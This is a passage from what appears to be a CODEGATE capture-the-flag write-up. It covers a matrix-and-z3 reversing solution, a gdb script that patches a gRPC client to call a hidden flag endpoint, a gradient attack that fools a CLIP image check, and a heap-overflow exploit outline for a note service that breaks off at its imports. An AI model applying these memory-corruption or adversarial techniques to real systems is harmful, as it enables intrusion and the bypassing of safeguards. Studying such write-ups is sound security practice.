4294967252, 4294967220, 39, 4294967241], [4294967278, 4294967262, 4, 4294967280, 4294967277, 4294967287, 4294967292, 4294967261, 31, 4294967264, 0, 59, 5, 23, 29, 4294967256, 4294967266, 4294967295, 54, 4294967283, 4294967295, 4294967265, 36, 56], [17, 16, 4294967256, 18, 9, 4294967167, 36, 4294967263, 0, 4294967273, 23, 43, 3, 30, 10, 4294967292, 4294967256, 3, 4294967254, 4294967256, 10, 4294967274, 28, 4294967260], [24, 4294967290, 4294967276, 4294967294, 4294967271, 17, 4294967243, 4294967290, 4294967278, 49, 4294967280, 14, 4294967295, 27, 4294967284, 4294967224, 4294967286, 4294967258, 4294967292, 0, 53, 26, 23, 4294967268], [56, 26, 2, 57, 4294967258, 4294967278, 14, 4294967173, 48, 38, 4294967267, 4294967284, 4294967284, 18, 4294967258, 31, 59, 4294967269, 4294967252, 4294967240, 27, 4294967263, 4294967267, 19], [54, 22, 4294967282, 4294967267, 16, 4294967265, 46, 30, 4294967262, 72, 4294967202, 24, 41, 52, 4294967287, 4294967283, 4294967263, 4294967287, 56, 4294967291, 25, 54, 3, 43], [4294967283, 49, 56, 36, 43, 4294967269, 53, 4294967281, 7, 4294967202, 83, 4294967268, 4294967268, 31, 23, 4294967267, 44, 4294967256, 4294967265, 3, 0, 58, 60, 4294967254], [4294967256, 4294967269, 55, 46, 4294967260, 4294967274, 4294967251, 25, 4294967287, 22, 24, 4294967294, 12, 4294967266, 35, 32, 11, 4294967294, 29, 4294967264, 4294967263, 42, 4294967243, 22], [4294967262, 4294967266, 33, 4294967294, 2, 23, 4294967268, 58, 4294967201, 4294967289, 20, 23, 4294967280, 57, 4294967284, 4294967221, 4294967293, 19, 4294967270, 58, 49, 4294967277, 45, 33], [57, 21, 47, 16, 18, 15, 4294967274, 6, 59, 4294967284, 4294967271, 45, 39, 1, 27, 4294967294, 41, 4294967223, 25, 6, 8, 4294967272, 9, 11], [4294967267, 40, 4294967270, 26, 4294967219, 4294967251, 4294967208, 4294967266, 4294967201, 34, 4294967268, 1, 4294967256, 4294967183, 2, 6, 4294967290, 4294967292, 4294967262, 27, 4294967259, 4294967284, 4294967285, 35], [27, 2, 9, 13, 4294967265, 4294967290, 12, 4294967282, 4294967280, 4294967286, 34, 4294967287, 25, 4294967277, 4294967181, 4294967287, 4294967274, 4294967295, 9, 41, 4294967250, 4294967243, 4294967236, 28], [4294967260, 4294967274, 18, 34, 25, 48, 50, 27, 4294967245, 4294967272, 45, 71, 4294967258, 4294967281, 32, 51, 4294967272, 15, 45, 5, 4294967241, 23, 8, 38], [43, 19, 22, 4294967257, 4294967259, 4294967282, 4294967292, 4294967262, 8, 4294967277, 4294967283, 43, 4294967260, 4294967257, 28, 24, 63, 4294967242, 8, 4294967273, 4294967269, 4294967246, 34, 36], [38, 4294967291, 40, 4294967293, 4294967288, 4294967290, 35, 4294967279, 26, 35, 30, 4294967277, 4294967259, 8, 0, 4294967267, 4294967239, 4294967235, 4294967242, 0, 4294967280, 59, 4294967283, 4294967257], [4294967282, 4294967270, 55, 0, 58, 24, 39, 21, 44, 4294967274, 22, 4294967258, 4294967279, 3, 57, 4294967276, 4294967286, 2, 14, 4294967286, 21, 4294967256, 8, 21], [4294967266, 4294967278, 4294967261, 4294967275, 4294967293, 4294967293, 4294967288, 45, 4294967268, 8, 20, 4294967258, 4294967267, 4294967256, 4294967256, 69, 20, 4294967277, 28, 22, 15, 13, 4294967262, 4294967270], [4294967267, 4294967277, 4294967264, 4294967282, 38, 4294967259, 27, 54, 4294967266, 4294967258, 56, 39, 4294967281, 43, 4294967261, 4294967293, 31, 4294967243, 4294967287, 4294967249, 4294967238, 3, 12, 25], [45, 52, 4294967258, 4294967286, 14, 4294967279, 4294967267, 12, 41, 23, 4294967257, 16, 4294967266, 5, 3, 27, 5, 21, 16, 41, 33, 4294967168, 17, 23], [34, 51, 23, 22, 20, 4294967294, 39, 55, 14, 40, 48, 56, 57, 4, 37, 4294967273, 27, 2, 5, 35, 27, 4294967280, 4294967230, 4294967257], [15, 40, 4294967272, 4294967267, 4294967294, 4294967291, 54, 4294967271, 20, 59, 4294967288, 8, 4294967285, 4294967292, 15, 58, 42, 4294967258, 4294967285, 31, 50, 6, 37, 4294967240]] compare_matrix0 = [[59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 19, 61], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 1, 12, 61], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 4, 12, 12, 54, 54], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 80, 12, 12, 12, 12, 61, 6], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 5, 65, 12, 61, 54, 61, 18, 59, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 12, 61, 12, 54, 12, 31, 19, 59, 59, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 79, 59, 59, 59, 24, 12, 54, 12, 61, 54, 28, 59, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 62, 84, 59, 59, 59, 59, 63, 61, 54, 12, 61, 61, 56, 55], [59, 59, 59, 59, 59, 59, 59, 59, 22, 84, 3, 84, 59, 59, 59, 59, 59, 59, 81, 12, 61, 61, 61, 61], [59, 59, 59, 59, 59, 59, 67, 84, 84, 84, 84, 68, 59, 59, 59, 59, 59, 59, 59, 59, 52, 61, 61, 12], [59, 59, 59, 59, 41, 3, 3, 84, 3, 50, 60, 59, 59, 59, 59, 38, 70, 59, 59, 59, 59, 59, 25, 31], [59, 59, 55, 84, 84, 84, 3, 73, 1, 59, 59, 59, 59, 59, 59, 18, 73, 47, 44, 59, 59, 59, 59, 59], [59, 59, 59, 61, 66, 47, 3, 84, 84, 63, 59, 59, 59, 59, 59, 38, 84, 12, 59, 59, 59, 59, 59, 59], [59, 59, 59, 59, 16, 50, 3, 3, 3, 84, 65, 64, 59, 59, 59, 6, 16, 59, 59, 59, 59, 59, 39, 49], [59, 59, 59, 59, 59, 59, 13, 50, 66, 3, 84, 84, 59, 59, 59, 59, 59, 59, 59, 59, 29, 39, 39, 75], [59, 59, 59, 59, 59, 59, 59, 59, 32, 50, 84, 73, 59, 59, 59, 59, 59, 59, 71, 36, 36, 36, 36, 75], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 76, 68, 59, 59, 59, 59, 83, 36, 36, 36, 36, 39, 74, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 34, 39, 36, 39, 36, 36, 15, 59, 59, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 77, 36, 36, 36, 36, 36, 34, 59, 59, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 79, 33, 29, 36, 36, 36, 36, 9, 59], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 20, 36, 36, 36, 36, 36, 36], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 82, 36, 36, 36, 36], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 78, 36, 36], [59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 59, 10]] matrix1 = np.array(matrix1) matrix1 = matrix1.transpose()[:, ::-1] matrix2 = (matrix1@X)%0xffff matrix1 = (X@matrix2)%0xffff print(matrix1) matrix1 = matrix1.transpose()[::-1, :] matrix3 = (matrix1 + M0)%0xffff matrix4 = (matrix3@M1)%0xffff result0 = np.array(matrix4+M2, dtype=np.uint32) # assert result0==compare_matrix0, "failed" ### reverse operations # calculated = np.array([[63263, 4711, 61754, 55644, 4197, 46606, 19217, 33533, 20323, 25061, 64802, 5825, 20045, 20440, 11747, 56231, 48880, 6790, 37916, 12079, 13014, 23924, 10806, 56839], [10578, 49285, 44127, 49598, 61270, 26954, 49550, 12694, 15868, 39106, 43204, 5586, 6562, 23876, 39772, 22533, 19637, 57917, 49761, 33959, 38622, 63843, 14161, 57769], [43921, 9678, 58373, 5187, 51904, 52598, 62727, 38134, 36841, 35970, 55058, 32867, 35514, 30852, 29671, 50212, 44340, 22596, 27307, 30387, 10544, 5535, 44891, 4150], [42665, 632, 16960, 22457, 12664, 34066, 30598, 63907, 24368, 6096, 3009, 40299, 27553, 31241, 21310, 38956, 30475, 45385, 64977, 38408, 18718, 21529, 16971, 35893], [25295, 30699, 21553, 26589, 58003, 24188, 30914, 57849, 1626, 31064, 59186, 7355, 62250, 24295, 37208, 41074, 31248, 39644, 32224, 42755, 25924, 19049, 24402, 34165], [26799, 34485, 24975, 34547, 31379, 45505, 34472, 59383, 559, 19668, 17001, 61114, 27878, 1290, 65213, 8207, 23959, 60646, 42008, 28869, 54734, 4657, 27266, 15214], [40756, 22869, 13234, 55453, 59638, 26666, 10326, 55913, 57459, 43444, 6062, 6688, 15870, 29745, 22767, 59673, 56911, 7569, 33085, 39259, 60090, 31520, 46894, 22192], [26400, 38962, 23539, 48000, 45834, 39195, 37516, 51877, 59662, 53361, 22993, 30007, 49826, 20571, 12991, 14066, 32376, 17653, 46722, 64014, 63906, 23264, 28938, 58115], [31458, 62601, 4034, 25609, 56217, 8393, 60816, 2173, 9369, 51876, 20230, 24631, 24553, 32261, 55159, 9949, 7527, 7416, 64409, 1859, 17312, 48785, 13508, 34275], [38174, 37523, 24257, 9537, 11927, 7149, 12900, 20665, 27957, 44543, 41084, 43654, 15816, 3114, 12692, 10454, 56402, 31684, 9997, 16897, 36945, 15131, 10296, 5930], [27025, 16934, 42595, 17214, 40234, 61683, 39751, 32111, 22725, 48162, 32301, 15779, 9538, 11678, 29198, 4396, 50205, 11225, 40477, 54443, 57081, 37182, 27069, 63631], [61238, 51517, 10129, 55380, 26987, 22264, 25354, 21006, 21698, 13249, 53250, 50077, 64034, 1280, 22382, 52150, 44898, 24014, 57181, 32956, 33623, 33207, 61405, 58235], [35417, 491, 41068, 14129, 34823, 6214, 24614, 55008, 40705, 2445, 23416, 47021, 46688, 46658, 1875, 54578, 20744, 5463, 20166, 20059, 12172, 60358, 1594, 12059], [60274, 43353, 39363, 33215, 33823, 35239, 61474, 53479, 45691, 59638, 39089, 12628, 63804, 34395, 61554, 23494, 4859, 59959, 45962, 39075, 16288, 46495, 61119, 54422], [5039, 53554, 58781, 2360, 29168, 44092, 62038, 6163, 25138, 29186, 20781, 43845, 6174, 49581, 4967, 62226, 49569, 59777, 50607, 49853, 17628, 62826, 37502, 27102], [49610, 40273, 61673, 19609, 47746, 24074, 18583, 48735, 22414, 44840, 20369, 9092, 34141, 42604, 3410, 13385, 52241, 41699, 35622, 16076, 32773, 28447, 44518, 64704], [55811, 51517, 64313, 16925, 49745, 705, 54302, 507, 24541, 16410, 25525, 40381, 14540, 25872, 39744, 37438, 10779, 50784, 48807, 6328, 5545, 17677, 6129, 38740], [30046, 890, 43059, 7930, 47229, 39508, 38882, 37208, 38897, 63747, 60616, 37714, 30559, 25752, 59708, 10936, 28762, 16915, 5444, 12749, 5618, 60309, 45549, 27561], [10851, 6997, 22346, 37633, 24320, 49998, 39971, 36873, 11832, 39231, 21565, 23217, 20896, 41583, 59875, 46424, 30557, 37475, 36415, 42395, 64065, 63733, 54505, 35121], [28987, 31522, 11494, 7529, 46660, 62945, 65354, 16240, 40924, 24036, 51150, 4730, 23379, 25322, 45508, 54310, 20165, 26885, 31165, 7732, 39986, 41633, 7665, 33180], [12656, 59356, 65497, 27095, 15767, 36585, 63631, 6711, 64058, 48992, 51390, 6638, 64548, 36590, 60536, 19619, 32135, 65377, 44550, 24129, 4649, 8568, 46242, 29066], [34744, 32228, 48330, 7214, 25813, 1208, 37690, 6393, 41558, 54073, 26936, 46454, 4779, 25049, 20186, 60143, 26836, 45262, 4256, 9967, 41838, 3934, 15145, 23782], [59735, 36721, 31858, 58207, 36110, 61536, 63510, 13044, 42136, 6817, 52655, 47712, 7570, 40570, 10815, 3219, 35146, 47030, 10178, 30368, 11099, 13474, 54727, 22596], [61573, 49111, 3210, 3727, 1593, 49037, 857, 49449, 63329, 34724, 35532, 45840, 35890, 60653, 36493, 44600, 51146, 13122, 11024, 50288, 27416, 52803, 37059, 10935]]) # m4_calc = np.array([[63378, 4711, 61739, 55643, 4218, 46557, 19241, 33528, 20281, 25063, 64818, 5834, 20005, 20394, 11691, 56265, 48864, 6815, 37877, 12053, 12991, 23882, 10862, 56839], [10609, 49300, 44120, 49612, 61259, 26932, 49537, 12727, 15877, 39066, 43173, 5532, 6581, 23902, 39792, 22521, 19607, 57903, 49717, 33973, 38573, 63847, 14165, 57744], [43868, 9670, 58418, 5167, 51909, 52540, 62711, 38149, 36823, 35911, 55013, 32844, 35464, 30801, 29704, 50201, 44294, 22630, 27322, 30396, 10590, 5585, 44888, 4185], [42656, 593, 16973, 22584, 12645, 34106, 30568, 63886, 24408, 6064, 2972, 40319, 27523, 31211, 21281, 38931, 30472, 45367, 64989, 38466, 18762, 21605, 16932, 35948], [25313, 30733, 21549, 26605, 58022, 24197, 30918, 57884, 1595, 31096, 59186, 7296, 62245, 24272, 37179, 41114, 31278, 39645, 32170, 42768, 25925, 19080, 24366, 34109], [26782, 34469, 25015, 34529, 31370, 45634, 34436, 59416, 559, 19691, 16978, 61071, 27875, 1260, 65203, 8211, 23999, 60643, 42050, 28909, 54724, 4679, 27238, 15250], [40732, 22875, 13254, 55455, 59663, 26649, 10379, 55919, 57477, 43395, 6078, 6674, 15871, 29718, 22779, 59745, 56921, 7607, 33089, 39259, 60037, 31494, 46871, 22220], [26344, 38936, 23537, 47943, 45872, 39213, 37502, 52000, 59614, 53323, 23022, 30019, 49838, 20553, 13029, 14035, 32317, 17680, 46766, 64070, 63879, 23297, 28967, 58096], [31404, 62579, 4048, 25638, 56201, 8424, 60770, 2143, 9403, 51804, 20324, 24607, 24512, 32209, 55168, 9962, 7560, 7425, 64353, 1864, 17287, 48731, 13505, 34232], [38187, 37474, 24201, 9501, 11884, 7176, 12847, 20680, 27950, 44637, 41001, 43682, 15844, 3083, 12669, 10483, 56358, 31724, 10028, 16894, 36945, 15073, 10236, 5972], [27065, 16961, 42540, 17168, 40270, 61705, 39796, 32086, 22734, 48140, 32277, 15781, 9526, 11708, 29163, 4364, 50194, 11227, 40448, 54475, 57114, 37140, 27122, 63609], [61272, 51547, 10096, 55382, 26985, 22241, 25382, 20948, 21793, 13256, 53230, 50054, 64050, 1223, 22394, 52225, 44901, 23995, 57207, 32898, 33574, 33226, 61360, 58202], [35360, 470, 41021, 14113, 34805, 6199, 24636, 55002, 40646, 2457, 23441, 46976, 46649, 46657, 1848, 54580, 20703, 5536, 20141, 20053, 12164, 60382, 1585, 12048], [60303, 43313, 39389, 33189, 33900, 35284, 61562, 53509, 45786, 59604, 39117, 12627, 63844, 34508, 61552, 23488, 4865, 59963, 45996, 39048, 16325, 46507, 61130, 54387], [5012, 53552, 58772, 2347, 29199, 44098, 62026, 6177, 25154, 29196, 20747, 43854, 6149, 49600, 5082, 62235, 49591, 59778, 50598, 49812, 17674, 62879, 37562, 27074], [49646, 40295, 61655, 19575, 47721, 24026, 18533, 48708, 22465, 44864, 20324, 9021, 34179, 42619, 3378, 13334, 52265, 41684, 35577, 16071, 32828, 28424, 44510, 64666], [55768, 51498, 64291, 16964, 49782, 719, 54306, 541, 24533, 16429, 25538, 40338, 14576, 25911, 39716, 37414, 10716, 50838, 48799, 6351, 5572, 17727, 6095, 38704], [30008, 895, 43019, 7933, 47237, 39514, 38847, 37225, 38871, 63712, 60586, 37733, 30596, 25744, 59708, 10965, 28819, 16976, 5498, 12749, 5634, 60250, 45562, 27600], [10865, 7023, 22291, 37633, 24262, 49974, 39932, 36852, 11788, 39253, 21543, 23255, 20913, 41580, 59818, 46444, 30567, 37473, 36401, 42405, 64044, 63773, 54497, 35100], [29017, 31540, 11529, 7550, 46663, 62948, 65362, 16195, 40952, 24028, 51130, 4768, 23408, 25362, 45548, 54241, 20145, 26904, 31137, 7710, 39971, 41620, 7699, 33206], [12685, 59375, 65529, 27109, 15729, 36622, 63604, 6657, 64088, 49030, 51334, 6599, 64563, 36547, 60571, 19622, 32104, 65430, 44559, 24176, 4707, 8565, 46230, 29041], [34699, 32176, 48368, 7224, 25799, 1225, 37719, 6381, 41517, 54050, 26975, 46438, 4809, 25044, 20183, 60116, 26831, 45241, 4240, 9926, 41805, 4062, 15128, 23759], [59701, 36670, 31835, 58185, 36090, 61538, 63471, 12989, 42122, 6777, 52607, 47656, 7513, 40566, 10778, 3242, 35119, 47028, 10173, 30333, 11072, 13490, 54793, 22635], [61558, 49071, 3234, 3756, 1595, 49042, 803, 49474, 63309, 34665, 35540, 45832, 35901, 60657, 36478, 44542, 51104, 13160, 11035, 50257, 27366, 52797, 37022, 10991]]) # print(calculated==result0) # compare_matrix0 = np.array(compare_matrix0, dtype=np.uint32) # matrix4 = np.array(result0 - M2, dtype=np.uint32) # print(matrix4.tolist()) # matrix3 = (matrix4 @ np.linalg.inv(M1)%0xffff) # print(matrix3) ``` ```py= matrix1 = [[260, 328, 448, 399, 474, 447, 466, 443, 436, 413, 509, 413, 515, 419, 463, 514, 435, 466, 486, 507, 512, 350, 445, 248], [455, 640, 641, 706, 752, 746, 748, 738, 745, 659, 566, 642, 609, 681, 665, 683, 728, 743, 732, 720, 610, 677, 584, 408], [386, 706, 790, 677, 895, 759, 808, 811, 762, 803, 905, 878, 917, 810, 778, 885, 739, 804, 891, 767, 928, 658, 667, 469], [399, 654, 721, 847, 867, 927, 962, 835, 943, 914, 830, 820, 827, 902, 883, 916, 951, 857, 885, 918, 730, 717, 587, 383], [347, 707, 769, 658, 885, 773, 751, 887, 699, 895, 834, 891, 747, 896, 710, 885, 704, 897, 908, 718, 924, 777, 617, 508], [299, 582, 570, 694, 882, 706, 888, 819, 821, 780, 772, 755, 824, 794, 833, 869, 900, 758, 948, 700, 769, 615, 505, 372], [330, 785, 677, 873, 844, 908, 884, 805, 771, 826, 722, 679, 571, 769, 762, 801, 842, 891, 846, 839, 721, 853, 515, 500], [426, 724, 738, 717, 877, 741, 751, 574, 798, 769, 741, 808, 740, 827, 804, 664, 806, 611, 927, 725, 851, 699, 672, 446], [520, 847, 833, 758, 918, 797, 992, 882, 699, 883, 675, 767, 834, 844, 667, 885, 907, 879, 910, 730, 778, 897, 702, 509], [474, 819, 724, 807, 783, 910, 921, 863, 895, 851, 677, 787, 772, 859, 768, 918, 974, 850, 939, 821, 745, 801, 711, 503], [534, 699, 912, 820, 948, 851, 852, 719, 709, 856, 745, 836, 777, 822, 620, 783, 733, 836, 821, 927, 874, 806, 783, 458], [483, 763, 738, 760, 819, 913, 859, 775, 713, 666, 887, 771, 895, 749, 757, 750, 728, 863, 919, 777, 744, 772, 741, 518], [525, 670, 827, 836, 876, 854, 765, 670, 666, 727, 842, 791, 785, 758, 656, 723, 599, 773, 826, 866, 814, 751, 785, 436], [498, 817, 732, 754, 760, 899, 909, 864, 794, 756, 769, 790, 847, 846, 803, 842, 856, 855, 994, 688, 746, 765, 819, 504], [556, 762, 908, 820, 948, 760, 899, 808, 659, 856, 706, 848, 872, 828, 583, 863, 789, 828, 876, 829, 889, 883, 811, 442], [510, 794, 725, 832, 800, 909, 833, 737, 879, 917, 756, 877, 777, 949, 835, 810, 879, 745, 944, 830, 760, 793, 748, 472], [438, 818, 672, 843, 839, 869, 897, 890, 715, 827, 763, 697, 757, 776, 769, 893, 835, 946, 842, 797, 649, 899, 559, 473], [397, 689, 624, 704, 829, 697, 808, 696, 750, 819, 765, 855, 830, 880, 839, 746, 833, 659, 965, 635, 773, 673, 661, 417], [363, 706, 758, 815, 883, 845, 797, 817, 761, 824, 834, 821, 662, 826, 789, 804, 760, 908, 904, 852, 846, 872, 626, 489], [370, 598, 616, 825, 781, 835, 965, 834, 895, 912, 906, 877, 986, 906, 918, 921, 978, 773, 873, 833, 668, 671, 576, 342], [459, 745, 856, 639, 894, 736, 753, 887, 771, 884, 856, 965, 856, 904, 797, 898, 757, 878, 909, 696, 925, 755, 736, 492], [488, 661, 728, 779, 801, 802, 891, 718, 869, 795, 668, 774, 751, 846, 802, 759, 894, 741, 818, 809, 662, 714, 662, 395], [452, 600, 790, 663, 810, 687, 783, 688, 766, 646, 772, 731, 785, 671, 743, 759, 750, 709, 816, 766, 847, 608, 753, 415], [307, 346, 406, 375, 434, 425, 437, 420, 445, 333, 381, 386, 431, 363, 432, 351, 425, 420, 410, 395, 365, 350, 404, 230]] from z3 import * def reconstruct_input_z3(matrix1): rows, cols = 24, 24 # matrix1 dimensions input_rows, input_cols = 26, 26 # input dimensions # Create a 26x26 matrix of integer variables input_vars = [[Int(f"x_{i}_{j}") for j in range(input_cols)] for i in range(input_rows)] # Solver instance solver = Solver() for i in range(input_cols): solver.add(input_vars[0][i] == 0) # First row is zero solver.add(input_vars[25][i] == 0) # First row is zero # Add constraints: Each input element is between 0 and 255 (if we assume valid bytes) for i in range(input_rows): for j in range(input_cols): solver.add(0 <= input_vars[i][j], input_vars[i][j] <= 255) # Add constraints based on the transformation equation for i in range(rows): for j in range(cols): solver.add( matrix1[i][j] == ( input_vars[i+2][j+2] + input_vars[i+2][j+1] + input_vars[i+2][j] + input_vars[i+1][j+2] + input_vars[i+1][j+1] + input_vars[i+1][j] + input_vars[i][j+2] + input_vars[i][j+1] + input_vars[i][j] ) ) # Solve the system if solver.check() == sat: model = solver.model() recovered_input = [[model[input_vars[i][j]].as_long() for j in range(input_cols)] for i in range(input_rows)] return recovered_input else: print("No solution found!") return None # Example usage with a dummy matrix1 import numpy as np # Solve for input recovered_input = reconstruct_input_z3(matrix1) if recovered_input: for row in recovered_input[2:-2]: print(bytes(row).strip(b'\x00')[1:-1]) # Print the recovered input matrix char = [ b'\x00C0D3GAT3C0D3GAT3C0D3GAT3\x00', b'\x000C0DEGATE 1s a gl0ba1 iC\x00', b'\x00Dnternationa1 hacking d0\x00', b'\x0033f3ns3 competition andD\x00', b'\x00G 5ecurity conference. 3\x00', b'\x00AHeld annually since 20G\x00', b'\x00T08, C0D3GAT3 is known A\x00', b'\x003as the Olympics for haT\x00', b'\x00Cckers, wh3re hack3rs a3\x00', b'\x000nd security 3xperts frC\x00', b'\x00Dom around the world ga0\x00', b'\x003th3r t0 c0mpet3 for thD\x00', b"\x00Ge title of the w0rld's3\x00", b'\x00A best hack3r. In additG\x00', b'\x00Tion to fierce competitA\x00', b'\x003ion among tru3 white-hT\x00', b'\x00Cat hackers, a juni0r d3\x00', b'\x000ivision is also he1d, C\x00', b'\x00Ds3rv1ng as a p1atform 0\x00', b'\x003f0r discover1ng talentD\x00', b'\x00Ged 1ndividuals 1n th3 3\x00', b'\x00Afi3ld of cyb3rsecurityG\x00', b'\x00T. You are good hacker.A\x00', b'\x003C0D3GAT3C0D3GAT3C0D3GAT\x00', ] for row in char[1:-1]: print(row.decode('utf-8').strip('\x00')[1:-1],end = '') ``` ### protoss_58 ```py= import gdb import time inp = '''3.37.15.100:50051 10''' open('input.txt', 'w').write(inp) gdb.execute('run < input.txt') gdb.execute('ignore 5 2') # set $rax = "mmQJfqw5HJqfAGV3ftrV.2c5358d4b98d31e9" # gdb.execute('set $rax = "mmQJfqw5HJqfAGV3ftrV.2c5358d4b98d31e9"') # gdb.execute('c') gdb.execute('set $rax = "commander"') gdb.execute('set $rbx = 9') gdb.execute('set $rcx = 0xdead') gdb.execute('c') # 0x80f110 # set rax = 0093c280 # gdb.execute('set $rax = 0x0093c280') # gdb.execute('c') # # 0x80f185 time.sleep(0.025) # # $r9 now contains the struct we want # # set r9 + 0x18 to pointer to "My_1ife_F0r_Aiur!!" # 00d5f000 is same memory to write to gdb.execute('set *($r9 + 0x18) = 0x00d5f000') gdb.execute("set {char}0x00d5f000 = 'M'") gdb.execute("set {char}0x00d5f001 = 'y'") gdb.execute("set {char}0x00d5f002 = '_'") gdb.execute("set {char}0x00d5f003 = '1'") gdb.execute("set {char}0x00d5f004 = 'i'") gdb.execute("set {char}0x00d5f005 = 'f'") gdb.execute("set {char}0x00d5f006 = 'e'") gdb.execute("set {char}0x00d5f007 = '_'") gdb.execute("set {char}0x00d5f008 = 'F'") gdb.execute("set {char}0x00d5f009 = '0'") gdb.execute("set {char}0x00d5f00a = 'r'") gdb.execute("set {char}0x00d5f00b = '_'") gdb.execute("set {char}0x00d5f00c = 'A'") gdb.execute("set {char}0x00d5f00d = 'i'") gdb.execute("set {char}0x00d5f00e = 'u'") gdb.execute("set {char}0x00d5f00f = 'r'") gdb.execute("set {char}0x00d5f010 = '!'") gdb.execute("set {char}0x00d5f011 = '!'") gdb.execute("set {char}0x00d5f012 = 0") gdb.execute('set *($r9 + 0x20) = 18') # gdb.execute('set *($r9 + 0x18) = 1') # # set r8 to 0092f1e0 # gdb.execute('set $r8 = 0x092f1e0') # # set r10 0092f2a0 # gdb.execute('set $r10 = 0x092f2a0') # change grpc endpoint gdb.execute('set $rdi = "/secret.SecretService/Flag"') gdb.execute('set $rsi = 26') gdb.execute('c') ``` ![image](https://hackmd.io/_uploads/HkxeTcH6yg.png) ![image](https://hackmd.io/_uploads/r1tgacrp1x.png) ## AI ### bright ```py= import numpy as np import os from glob import glob from PIL import Image, ImageEnhance os.chdir(os.path.dirname(__file__)) def extract_feature(image): with torch.no_grad(): image = preprocess(image).unsqueeze(0) image = image.to("cuda") feature = model.encode_image(image)[0].cpu().numpy() return feature / np.linalg.norm(feature) def validate(image): return np.array(image.convert('RGB')).mean() > 250 and image.height == image.width def load_features(): features = [] for path in glob("images/*.png"): print(path) image = Image.open(path) feature = extract_feature(image) features.append(feature) return features image = Image.open("cat3.jpg") image = ImageEnhance.Brightness(image).enhance(13.5) image = image.convert("RGB") print("Evaluating...") import clip import torch from torchvision import transforms model, preprocess = clip.load("ViT-B/32", device="cuda", download_root="model") model = model.float() model.eval() # print(model) feature = torch.tensor(extract_feature(image)) features = load_features() target_feature = torch.tensor(features[2]).to("cuda") image = transforms.Resize(224)(image) image = transforms.CenterCrop(224)(image) image = Image.open("cat2_output.png") image = transforms.ToTensor()(image) image += torch.randn_like(image) * 0.01 image = image.clamp(0, 255) image = image * 255 image = image.to("cuda") image = image.clone().detach().requires_grad_(True) optimizer = torch.optim.Adam([image], lr=1e-3) image.requires_grad = True sim = 0 m = 0 def get_sim(image): normalized = transforms.Normalize((0.48145466, 0.4578275, 0.40821073), (0.26862954, 0.26130258, 0.27577711))(image) feature = model.encode_image(normalized.unsqueeze(0))[0] feature = feature / torch.norm(feature) sim = torch.dot(feature, target_feature) return sim import random random.seed() torch.manual_seed(random.randint(0, 2**32 - 1)) random.seed() np.random.seed() best_sim = 0 # def sample_based_on_grad(grad, image): # rand = torch.rand(image.shape, device="cuda") # mask = (rand < grad.abs()).float() # mask[grad < 0] *= -1 # return (image + mask).round().clamp(0, 255) # for t in range(20): # # sim = get_sim(image/255) # # loss = -sim # # grad = torch.autograd.grad(loss, image, retain_graph=True)[0] # next_images = [] # with torch.no_grad(): # for _ in range(2000): # image2 = sample_based_on_grad(torch.randn_like(image)*4e-5, image) # if (image2 - image).abs().sum() == 0: # continue # sim = get_sim(image2/255) # m = torch.mean(image2) # # print(sim.item(), m.item()) # next_images.append((sim, m, image2)) # print("Sampled", len(next_images)) # next_images.sort(key=lambda x: x[0], reverse=True) # if next_images[0][0] > best_sim: # best_sim = next_images[0][0].item() # else: # print("No improvement", next_images[0][0].item()) # continue # image.data = next_images[0][2].round() # print(t, next_images[0][0].item(), next_images[0][1].item()) # print() # image_np = image.detach().cpu().numpy().astype(np.uint8) # image_np = np.transpose(image_np, (1, 2, 0)) # image_pil = Image.fromarray(image_np) # image_pil.save("best2.png") while True: sim = get_sim(image/255) m = torch.mean(image) if sim > 0.9999 and m > 250: print("Found!", sim.item(), m.item()) break if sim >= best_sim: best_sim = sim.item() print("Best sim:", best_sim) # save the image if sim > 0.995 or np.random.rand() < 0.1: image_np = image.detach().cpu().numpy().astype(np.uint8) image_np = np.transpose(image_np, (1, 2, 0)) image_pil = Image.fromarray(image_np) image_pil.save("best.png") brightness_loss = torch.nn.functional.relu(250 - m) loss = -sim + brightness_loss * 0.5 - 1e-4 * m print(f"{sim.item():.6f}", f"{brightness_loss.item():.6f}", f"{m.item():.6f}") optimizer.zero_grad() loss.backward() optimizer.step() with torch.no_grad(): image.clamp_(0, 255) # Apply a circular mask to round the image diff = (image - image.floor()).detach() # [0,1) # sample 0,1 with probability of diff mask = (torch.rand(image.shape, device="cuda") < diff).float() image.data = image.floor() + mask image_np = image.detach().cpu().numpy().astype(np.uint8) image_np = np.transpose(image_np, (1, 2, 0)) image_pil = Image.fromarray(image_np) image_pil.save("best.png") ``` ## Pwn ### Secret Note The bug is in create function, where it wrongly exits when key/size is invalid. Using this bug: 1. By failing the size check, we can create a chunk where chunk->buf_size is larger than chunk->buffer, which lead to the heap overflow. 2. By failing the key check, We can create a chunk where chunk->buf is uninitialized, and hence leaving a pointer to a libc address. The summary of the exploit below is: - spam create some chunks - free them such that it has uninitialized libc pointer inside - Use point [2] above to get a chunk with buf and size pointing into libc - Brute force the key, the key and size will leak libc address and base - Use point [1] to OOB write the chunk->buf to point to target address - Achieve arbitrary write - Use the setcontext32 technique ```py= from pwn import * import IPython import time import os # disable aslr # echo 0 | 